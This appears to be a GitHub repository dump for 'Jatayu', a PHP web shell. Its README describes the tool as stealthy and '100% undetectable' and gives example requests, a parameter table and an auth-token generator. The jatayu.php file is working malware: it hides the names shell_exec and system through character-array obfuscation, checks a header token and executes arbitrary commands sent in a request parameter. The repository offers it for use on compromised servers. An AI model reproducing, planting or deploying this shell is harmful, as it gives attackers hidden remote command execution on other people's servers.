├── README.md
├── jatayu-image.png
└── jatayu.php


/README.md:
--------------------------------------------------------------------------------
 1 | <h1 align="center">
 2 |   <a href=""><img src="https://github.com/SpiderMate/Jatayu/blob/master/jatayu-image.png" width="100" height="100" alt="Jatayu"></a>
 3 |   <br>
 4 |   JATAYU
 5 |   <br>
 6 | </h1>
 7 | 
 8 | <h4 align="center">Stealthy Stand Alone PHP Web Shell</h4>
 9 | 
10 | <p align="center">
11 |     <img src="https://img.shields.io/badge/release-Prv8-blue.svg">
12 |     <img src="https://img.shields.io/badge/issues-0-red.svg">
13 |     <img src="https://img.shields.io/badge/php-7-green.svg">
14 |     <img src="https://img.shields.io/badge/php-5-green.svg">
15 | </p>
16 | 
17 | ### FEATURES
18 | - Http Header Based Authentication.
19 | - 100% Undetectable.
20 | - Exec Function Changer.
21 | - Nothing Fancy
22 | 
23 | ### USAGE
24 | ```
25 | GET /test/jatayu.php?fn=1&&cmd=whoami
26 | Host : http://test.com
27 | Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499
28 | ```
29 | ### FUNCTIONS
30 | 
31 | | PARAMETER       | FUNCTION                       |
32 | | ----------------|:------------------------------:|
33 | | fn=1            | Calls function shell_exec()    |
34 | | fn=2            | Calls function system()        |
35 | | cmd=id          | Executes command               |
36 | 
37 | ### GENERATE AUTHTOKEN
38 | ```
39 | <?php
40 | $r = unpack('v*', fread(fopen('/dev/random', 'r'),16));
41 | $apiKey = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
42 |     $r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,
43 |     $r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);
44 | echo $apiKey;
45 | ?>
46 | ```
47 | 
48 | 
49 | 


--------------------------------------------------------------------------------
/jatayu-image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SpiderMate/Jatayu/ed900f0db52f85c52dc552e519072375282e0ab5/jatayu-image.png


--------------------------------------------------------------------------------
/jatayu.php:
--------------------------------------------------------------------------------
1 | <?php error_reporting(0);$apiKey='bb3b1a1f-0447-42a6-955a-88681fb88499';$vrfyToken=$_SERVER['HTTP_AUTHTOKEN'];if($vrfyToken==$apiKey){$s1=array('s','h','l','e','x','c','_','y','t','m');$p1="$s1[0]$s1[1]$s1[3]$s1[2]$s1[2]$s1[6]$s1[3]$s1[4]$s1[3]$s1[5]";$p2="$s1[0]$s1[7]$s1[0]$s1[8]$s1[3]$s1[9]";$fn=($_REQUEST['fn']);if($fn=="1"){echo $p1($_GET['cmd'].' 2>&1');}if($fn=="2"){echo $p2($_GET['cmd'].' 2>&1');}} ?>
2 | 


--------------------------------------------------------------------------------